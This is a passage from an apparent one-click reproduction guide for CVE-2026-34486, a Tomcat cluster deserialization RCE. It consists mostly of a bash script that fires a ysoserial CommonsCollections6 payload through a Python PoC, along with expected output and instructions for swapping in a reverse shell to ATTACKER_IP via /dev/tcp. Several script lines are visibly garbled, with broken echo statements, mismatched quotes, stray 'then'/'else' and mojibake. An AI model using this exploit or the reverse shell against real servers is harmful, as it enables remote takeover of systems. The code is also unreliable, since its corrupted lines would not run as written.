PYEXPLOIT
chmod +x "$WORKDIR/exploit.py"
# Send attack
info "Sending attack Payload to ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"
info "Waiting for attack to take effect (5 seconds)..."
sleep 5
# ==================== 8. Verifying results ====================
info "Step 8/8: Authentication exploit triggered..."
echo ""
echo "======================================================================"
echo -e "${RED} CVE-2026-34486 Replication result ${NC}"
echo "======================================================================"
echo ""
# Check the RCE flag file
if [ -f "$RCE_MARKER" ]; then
echo -e " ${GREEN}โ
RCE successful! ${NC} flag file created:"
echo ""
ls -la "$RCE_MARKER"
echo ""
echo "" "ls -la "$RCE_MARKER" echo "
echo -e " ${RED}โ RCE did not trigger ${NC}, flag file ${RCE_MARKER} does not exist"
echo ""
echo "
# Check the victim log
echo " Victim log (decryption failure log):"
echo " ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 | | echo " (Failed to decrypt log not found)"
echo ""
echo " Victim logs (EncryptInterceptor startup confirmation):"
echo " ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo " (EncryptInterceptor log not found)"
echo ""
echo " Victim logs (found by cluster member):"
echo " ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo " (cluster member log not found)"
echo ""
# Check for deserialization exceptions (there shouldn't be any)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
echo -e " ${YELLOW}[!] Deserialization exception detected (possible gadget chain incompatibility) ${NC}"
then echo -e " ${YELLOW}[!
echo -e " ${GREEN}โ
No deserialization anomaly logs - payload silently executed (very stealthy attack) ${NC}"
${NC}" else echo -e
echo ""
echo "======================================================================"
echo ""
echo "" - Working directory: ${WORKDIR}"
echo " - Working Directory: ${WORKDIR}"
echo " - Node1: HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}" echo " - Node2: HTTP ${NODE2_TRIBES_PORT}"
echo " - Node2: HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo " - Tomcat version: ${TOMCAT_VERSION} (vulnerable version)"
echo " - RCE Marker: ${RCE_MARKER}"
echo ""
echo " Cleanup command:"
echo " cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo " cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo " rm -f ${RCE_MARKER}"
echo " rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"
``
### Instructions for using one-click scripts
**Prerequisites**:
- Ubuntu 18.04+ / Debian 10+ system
- Root privileges
- Access to extranet (download Tomcat, ysoserial, Commons Collections)
**Execution method**:
```bash
# Save the script
chmod +x cve-2026-34486-repro.sh
# Run it with one click
sudo . /cve-2026-34486-repro.sh
``
**Script execution flow**:
| Steps | Contents | Description |
|------|------|------|
| 1 | Detect and install dependencies | JDK 11, Python3, wget, etc |
| 2 | Create a working directory | `/opt/cve-2026-34486-lab` |
| 3 | Download Tomcat 9.0.116 | Vulnerable version, unzip two copies |
| 4 | Install the Gadget library | Commons Collections 3.1 โ lib/ |
| 5 | Download ysoserial | deserialization payload generator |
| 6 | Configure Cluster | server.xml + EncryptInterceptor + web.xml |
| 7 | Start Cluster and Attack | Start โ Generate CC6 payload โ Python PoC send |
| 8 | Verify Results | Check RCE Flag File + Victim Logs |
**Expected Output**:
```
[*] Step 8/8: Verify that the vulnerability triggers...
======================================================================
CVE-2026-34486 Replication Results
======================================================================
โ
RCE was successful! Flag file created.
-rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
Victim logs (decryption failure logs).
----------------------------------------------------------------------
SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16...
โ
No Deserialization Exception Log - payload Silent Execution (Attack is extremely stealthy)
======================================================================
ร ร ร ร ร ร ร ร ร ร ร ร ร
**Custom RCE commands**:
To modify the attack command, edit the `RCE_MARKER` variable in the script and ysoserial to generate the command, for example:
```bash
# Modify to bounce shell (needs to be coded first)
# bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Base64 encoded.
java -jar ysoserial.jar CommonsCollections6 \
"bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \
> payload_reverse.bin
``